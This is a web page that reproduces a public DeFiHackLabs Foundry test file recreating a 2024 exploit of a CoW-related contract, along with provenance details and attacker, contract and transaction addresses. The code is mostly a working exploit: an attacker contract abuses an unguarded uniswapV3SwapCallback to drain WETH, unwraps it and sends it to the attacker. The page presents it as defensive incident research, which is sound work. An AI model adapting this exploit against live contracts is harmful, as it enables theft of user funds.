Public reproduction file
src/test/2024-11/CoW_exp.sol
Public reproduction file for dataset entry CoW.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 59K7// Attacker : https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f0000348// Attack Contract : https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c39// Vulnerable Contract : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab4110// Attack Tx : https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f912// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab4115// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/185453880785464979117// Twitter Guy : https://x.com/TenArmorAlert/status/185453880785464979118// Hacking God : N/A20address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;21address constant attacker = 0x00baD13FA32E0000E35B8517E19986B93F000034;22address constant addr2 = 0xA58cA3013Ed560594557f02420ed77e154De0109;23address constant addr3 = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;25interface IWETH9 {26 function balanceOf(address) external view returns (uint256);27 function withdraw(uint256) external;28}30interface ICallbackLike {31 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external payable;32}34contract ContractTest is Test {35 function setUp() public {36 vm.createSelectFork("mainnet", 21135438-1);37 }39 function testPoC() public {40 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);41 vm.startPrank(attacker, attacker);42 AttackerC attC = new AttackerC();43 attC.attack();44 vm.stopPrank();45 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);46 }47}49// 0x67004E26F800c5EB050000200075f049AA0090c350contract AttackerC {51 receive() external payable {}52 function attack() public payable {53 // call uniswapV3SwapCallback on addr2 with provided args and forward msg.value54 bytes memory data = abi.encode(55 uint256(1976408883179648193852),56 addr3,57 addr1,58 address(this)59 );61 ICallbackLike(addr2).uniswapV3SwapCallback(62 -1978613680814188858940,63 5373296932158610028,64 data65 );67 uint256 bal = IWETH9(addr1).balanceOf(address(this));68 IWETH9(addr1).withdraw(bal);69 payable(tx.origin).transfer(address(this).balance); // here, we did not transfer tip to coinbase, all to the attacker70 }72 fallback() external payable {}73}Analysis
Dataset entry
Public Foundry test for “CoW” (2024-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x00bad13fa32e0000e35b8517e19986b93f000034
- Attack Contract
0x67004e26f800c5eb050000200075f049aa0090c3
- Vulnerable Contract
0x9008d19f58aabd9ed0d60971565aa8510560ab41
- Attack Tx
0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9
- Post: https://x.com/TenArmorAlert/status/1854538807854649791
- Explorer: https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034
- Explorer: https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3
- Explorer: https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41
File record
- Name
- CoW
- Path
- src/test/2024-11/CoW_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4843ce6b1baaf3b150fafa079e667bf3ef9fe5c8
- Language
- Solidity
- Size
- 73 lines
- Date
- 2024-11-07
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/CoW_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4843ce6b1baaf3b150fafa079e667bf3ef9fe5c8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.